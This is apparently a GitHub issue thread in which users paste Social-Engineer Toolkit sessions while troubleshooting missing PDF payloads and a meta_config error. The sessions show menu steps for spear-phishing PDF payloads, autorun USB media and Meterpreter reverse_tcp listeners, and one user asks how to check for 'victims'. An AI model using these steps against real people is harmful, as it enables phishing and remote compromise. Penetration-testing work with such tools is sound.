where is the template ?

[th0m1]

set:payloads> Port to connect back on [443]:443 [-] Generating fileformat exploit... [] Payload creation complete. [] All payloads get sent to the /root/.set/template.pdf directory [-] As an added bonus, use the file-format creator in SET to create your attachment. No previous payload created. set:phishing> Enter the file to use as an attachment:'/root/.set/payload.options' [!] ERROR:FILE NOT FOUND. Try Again.

i didn't find template.pdf also

[-] Generating fileformat exploit... [] Payload creation complete. [] All payloads get sent to the /root/.set/template.pdf directory

[!] Something went wrong, printing the error: name 'src' is not defined

i am using set toolkit version 6.5

[trustedsec]

Which attack vector are you using for this? Can you paste the output from start to finish so I can troubleshoot?

Thanks!

-Dave

[th0m1]

      _______________________________
     /   _____/\_   _____/\__    ___/
     \_____  \  |    __)_   |    |
     /        \ |        \  |    |
    /_______  //_______  /  |____|
            \/         \/            

[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 6.5 [---] [---] Codename: 'Mr. Robot' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---]

    Welcome to the Social-Engineer Toolkit (SET). 
     The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

         Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules

99) Return back to the main menu.

set> 1

The Spearphishing module allows you to specially craft email messages and send them to a large (or small) number of people with attached fileformat malicious payloads. If you want to spoof your email address, be sure "Sendmail" is in- stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON.

There are two options, one is getting your feet wet and letting SET do everything for you (option 1), the second is to create your own FileFormat payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack 2) Create a FileFormat Payload 3) Create a Social-Engineering Template

99) Return to Main Menu

set:phishing>2

Select the file format exploit you want. The default is the PDF embedded EXE.

       ********** PAYLOADS **********

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP) 2) SET Custom Written Document UNC LM SMB Capture Attack 3) MS14-017 Microsoft Word RTF Object Confusion (2014-04-01) 4) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow 5) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087) 6) Adobe Flash Player "Button" Remote Code Execution 7) Adobe CoolType SING Table "uniqueName" Overflow 8) Adobe Flash Player "newfunction" Invalid Pointer Use 9) Adobe Collab.collectEmailInfo Buffer Overflow 10) Adobe Collab.getIcon Buffer Overflow 11) Adobe JBIG2Decode Memory Corruption Exploit 12) Adobe PDF Embedded EXE Social Engineering 13) Adobe util.printf() Buffer Overflow 14) Custom EXE to VBA (sent via RAR) (RAR required) 15) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun 16) Adobe PDF Embedded EXE Social Engineering (NOJS) 17) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow 18) Apple QuickTime PICT PnSize Buffer Overflow 19) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow 20) Adobe Reader u3D Memory Corruption Vulnerability 21) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

set:payloads>12

[-] Default payload creation selected. SET will generate a normal PDF with embedded EXE.

1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

set:payloads>2

1) Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker 2) Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline 5) Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker (Windows x64), Meterpreter 6) Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on remote system 7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

set:payloads>2 set> IP address for the payload listener (LHOST): 192.168.1.79 set:payloads> Port to connect back on [443]:443 [-] Generating fileformat exploit... [] Payload creation complete. [] All payloads get sent to the /root/.set/template.pdf directory [-] As an added bonus, use the file-format creator in SET to create your attachment. No previous payload created. set:phishing> Enter the file to use as an attachment: [!] ERROR:FILE NOT FOUND. Try Again. set:phishing> Enter the file to use as an attachment:

i didn't found the file

[th0m1]

set>

      !\_________________________/!\
      !!                         !! \
      !! Social-Engineer Toolkit !!  \
      !!                         !!  !
      !!          Free           !!  !
      !!                         !!  !
      !!          #hugs          !!  !
      !!                         !!  !
      !!      By: TrustedSec     !!  /
      !!_________________________!! /
      !/_________________________\!/
         __\_________________/__/!_
        !_______________________!/
      ________________________
     /oooo  oooo  oooo  oooo /!
    /ooooooooooooooooooooooo/ /
   /ooooooooooooooooooooooo/ /
  /C=_____________________/_/

[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 6.5 [---] [---] Codename: 'Mr. Robot' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---]

    Welcome to the Social-Engineer Toolkit (SET). 
     The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

         Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules

99) Return back to the main menu.

set> 3

The Infectious USB/CD/DVD module will create an autorun.inf file and a Metasploit payload. When the DVD/USB/CD is inserted, it will automatically run if autorun is enabled.

Pick the attack vector you wish to use: fileformat bugs or a straight executable.

1) File-Format Exploits 2) Standard Metasploit Executable

99) Return to Main Menu

set:infectious>1 set:infectious> IP address for the reverse connection (payload):192.168.1.79

Select the file format exploit you want. The default is the PDF embedded EXE.

       ********** PAYLOADS **********

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP) 2) SET Custom Written Document UNC LM SMB Capture Attack 3) MS14-017 Microsoft Word RTF Object Confusion (2014-04-01) 4) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow 5) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087) 6) Adobe Flash Player "Button" Remote Code Execution 7) Adobe CoolType SING Table "uniqueName" Overflow 8) Adobe Flash Player "newfunction" Invalid Pointer Use 9) Adobe Collab.collectEmailInfo Buffer Overflow 10) Adobe Collab.getIcon Buffer Overflow 11) Adobe JBIG2Decode Memory Corruption Exploit 12) Adobe PDF Embedded EXE Social Engineering 13) Adobe util.printf() Buffer Overflow 14) Custom EXE to VBA (sent via RAR) (RAR required) 15) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun 16) Adobe PDF Embedded EXE Social Engineering (NOJS) 17) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow 18) Apple QuickTime PICT PnSize Buffer Overflow 19) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow 20) Adobe Reader u3D Memory Corruption Vulnerability 21) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

set:payloads>12

[-] Default payload creation selected. SET will generate a normal PDF with embedded EXE.

1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack

set:payloads>2

1) Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker 2) Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline 5) Windows Meterpreter Reverse_TCP (X64) Connect back to the attacker (Windows x64), Meterpreter 6) Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on remote system 7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter

set:payloads>2 set> IP address for the payload listener (LHOST): 192.168.1.79 set:payloads> Port to connect back on [443]:443 [-] Generating fileformat exploit... [] Payload creation complete. [] All payloads get sent to the /root/.set/template.pdf directory

[!] Something went wrong, printing the error: name 'src' is not defined

[th0m1]

also msfconsole can't find /root/.set/meta_config which i found manually

[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 6.5 [---] [---] Codename: 'Mr. Robot' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---]

    Welcome to the Social-Engineer Toolkit (SET). 
     The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

         Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules

99) Return back to the main menu.

set> 4

1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 5) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 6) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 8) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and use Reverse Meterpreter 9) Download/Run your Own Executable Downloads an executable and runs it

set:payloads>2 set:payloads> IP address for the payload listener (LHOST):192.168.1.79 set:payloads> Enter the PORT for the reverse listener:443 [] Generating the payload.. please be patient. [] Payload has been exported to the default SET directory located under: /root/.set/payload.exe set:payloads> Do you want to start the payload and listener now? (yes/no):yes [*] Launching msfconsole, this could take a few to load. Be patient...

---

| | | METASPLOIT CYBER MISSILE COMMAND V4 | |__| \ / / \ . / / x \ / / \ / + / \ + / / * / / / . / X / / X / ### / # % # / ### . / . / . * . / *

• *

                                   ^

#######

/ \ / \ / \ ########### / \ / \ / \

################################################################################ ################################################################################

WAVE 4 ######## SCORE 31337 ################################## HIGH FFFFFFFF

################################################################################ http://metasploit.pro

Trouble managing data? List, sort, group, tag and search your pentest data in Metasploit Pro -- learn more on http://rapid7.com/metasploit

   =[ metasploit v4.11.4-2015071402                   ]

• -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
• -- --=[ 432 payloads - 37 encoders - 8 nops ]
• -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[-] Cannot find resource script: /root/.set/meta_config msf >

[doubledareyou]

I'm having the same issue when selecting Spear-Phishing Attack Vectors > Perform a Mass Email Attack. "All payloads get sent to the /root/.set/template.pdf directory" followed by "No previous payload created".

I just installed Kali 2.0 - not sure if that's related to the issue or not. SET version 6.5

[setoolkit]

i also meet the same problem! i am so crazy for this problem. my setoolkit version is 5.6,what are you? if you solves the problem ,please tell we.thank you !

[trustedsec]

Thanks for posting this - this is due to removing msfcli from Metasploit. Currently rewriting to address. BTW you are all using an out of date version of SET. Current version is 6.5.3 - soon to be 6.5.4.

[trustedsec]

This is fixed in 6.5.4, should be released shortly. Thanks for the report!

[seanhof]

Hello. I just cloned the git repository so I'm running 6.5.4. When I try and generate a fileformat exploit with a PDF it never finishes after it says Generating fileformat exploit... Waiting for payload generation to complete... over and over without end.

I also get the error: [-] Cannot find resource script: /root/.set/meta_config msf >

When I try and create a payload and listener. I have verified that the file does exist. root@kali:~/.set# cat meta_config use multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.0.2.15 set LPORT 443 set ExitOnSession false exploit -j

[joshozilla]

Same thing as seanhof.

[-] Cannot find resource script: /root/.set/meta_config msf >

still exists even when you update...

[trustedsec]

Can you let me know which options you were selecting from the menu so I can recreate?

[joshozilla]

[-] New set.config.py file generated on: 2015-12-14 23:45:41.063636 [-] Verifying configuration update... [] Update verified, config timestamp is: 2015-12-14 23:45:41.063636 [] SET is using the new config, no need to restart 

      _______________________________
     /   _____/\_   _____/\__    ___/
     \_____  \  |    __)_   |    |
     /        \ |        \  |    |
    /_______  //_______  /  |____|
            \/         \/            

[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 6.5 [---] [---] Codename: 'Mr. Robot' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---]

    Welcome to the Social-Engineer Toolkit (SET). 
     The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

         Visit: https://www.trustedsec.com

Select from the menu:

1) Social-Engineering Attacks 2) Fast-Track Penetration Testing 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set> 1 

       ..######..########.########
       .##....##.##..........##...
       .##.......##..........##...
       ..######..######......##...
       .......##.##..........##...
       .##....##.##..........##...
       ..######..########....##...  

[---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] [---] Version: 6.5 [---] [---] Codename: 'Mr. Robot' [---] [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---]

    Welcome to the Social-Engineer Toolkit (SET). 
     The one stop shop for all of your SE needs.

 Join us on irc.freenode.net in channel #setoolkit

The Social-Engineer Toolkit is a product of TrustedSec.

         Visit: https://www.trustedsec.com

Select from the menu:

1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) Third Party Modules

99) Return back to the main menu.

set> 4

1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 5) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 6) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 8) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and use Reverse Meterpreter 9) Download/Run your Own Executable Downloads an executable and runs it

set:payloads>2 set:payloads> IP address for the payload listener (LHOST):192.168.1.75 set:payloads> Enter the PORT for the reverse listener:443 [] Generating the payload.. please be patient. [] Payload has been exported to the default SET directory located under: /root/.set/payload.exe set:payloads> Do you want to start the payload and listener now? (yes/no):y [*] Launching msfconsole, this could take a few to load. Be patient...

/ \ /\ _ _ // | |\ / | __ \ \ _ | | / \ \ \ | | \/| | | **\ |- -| /\ / \ | -/ | || | || | |- -| || | | | |_ | | / -\ \ \ | | | | **/| | | | |/ |____/ \/ /\ _/ \/ | |_\ ___\

Taking notes in notepad? Have Metasploit Pro track & report your progress and findings -- learn more on http://rapid7.com/metasploit

   =[ metasploit v4.11.4-2015071403                   ]

• -- --=[ 1467 exploits - 840 auxiliary - 232 post ]
• -- --=[ 432 payloads - 37 encoders - 8 nops ]
• -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[-] Cannot find resource script: /root/.set/meta_config msf >

[trustedsec]

You are using an extremely old version of SET. Please update to the latest - this was resolved several months ago.

[joshozilla]

I've updated by downloading the latest zip file from github, extracting, then installing the setup.py file. The problem, however, still persists. I've also updated in the actual SET application with no solution.

[trustedsec]

Not really sure what to tell you here. Running this from Kali 2 works perfectly fine in a fresh install and the latest version of SET:

set:payloads> IP address for the payload listener (LHOST):10.10.128.32 set:payloads> Enter the PORT for the reverse listener:443 [] Generating the payload.. please be patient. [] Payload has been exported to the default SET directory located under: /root/.set/payload.exe set:payloads> Do you want to start the payload and listener now? (yes/no):yes [*] Launching msfconsole, this could take a few to load. Be patient...

/ \ /\ _ _ // | |\ / | __ \ \ _ | | / \ \ \ | | \/| | | **\ |- -| /\ / \ | -/ | || | || | |- -| || | | | |_ | | / -\ \ \ | | | | **/| | | | |/ |____/ \/ /\ _/ \/ | |_\ ___\

   =[ metasploit v4.11.5-dev-dba1811                  ]

• -- --=[ 1500 exploits - 864 auxiliary - 251 post ]
• -- --=[ 434 payloads - 37 encoders - 8 nops ]
• -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[_] Processing /root/.set/meta_config for ERB directives. resource (/root/.set/meta_config)> use multi/handler resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp resource (/root/.set/meta_config)> set LHOST 10.10.128.32 LHOST => 10.10.128.32 resource (/root/.set/meta_config)> set LPORT 443 LPORT => 443 resource (/root/.set/meta_config)> set ExitOnSession false ExitOnSession => false resource (/root/.set/metaconfig)> exploit -j [] Exploit running as background job.

[Agentblank]

just do this after the error: msf> resource /root/.set/meta_config That will work

[firozmahamud29]

Hi, I've created a PDF file and close the Terminal. now I want to check is there any victim how can I check it?

[blank37]

I have a similar problem. When I use set and go through the process the PDF file doesn't show up. its says its in the root set directory and in the file called "autorun" but that file doesn't exist same with the template.pdf. I checked hidden files and everything. It seems to not even exist, its annoying. Someone please help.

[chunonn]

I think you guys need to create a root on Kali Linux 2020. After creating go to your root user you should see it

[vahe662]

Other location / root (inter your pass world)/.set

[pooyan1982]

Thanks for posting this - this is due to removing msfcli from Metasploit. Currently rewriting to address. BTW you are all using an out of date version of SET. Current version is 6.5.3 - soon to be 6.5.4.

I'm on the latest version of SET (Version: 8.0.3). I'm on MacOS Big Sur.

Here's my selection steps: 1) Social-Engineering Attacks 2) Website Attack Vectors 2) Metasploit Browser Exploit Method 2) Site Cloner set> Are you using NAT/Port Forwarding [yes|no]: no 46) Metasploit Browser Autopwn (USE AT OWN RISK!) 2) Windows Reverse_TCP Meterpreter set:payloads> Port to use for the reverse [443]: 443

The result of the above selection is the following error: [-] Cannot find resource script: /Users//.set//meta_config

I tried "Create a Payload and Listener" and I have no issues there. The meta_config does get created successfully, but the steps above always results in the error posted above. Pretty annoying. I've searched the entire net to no avail. In your comment above you mention that this is due to the fact the "msfcli" has been removed, but you didn't provide a resolution as to what needs to happen to fix the problem.

Your help is highly appreciated. Thanks.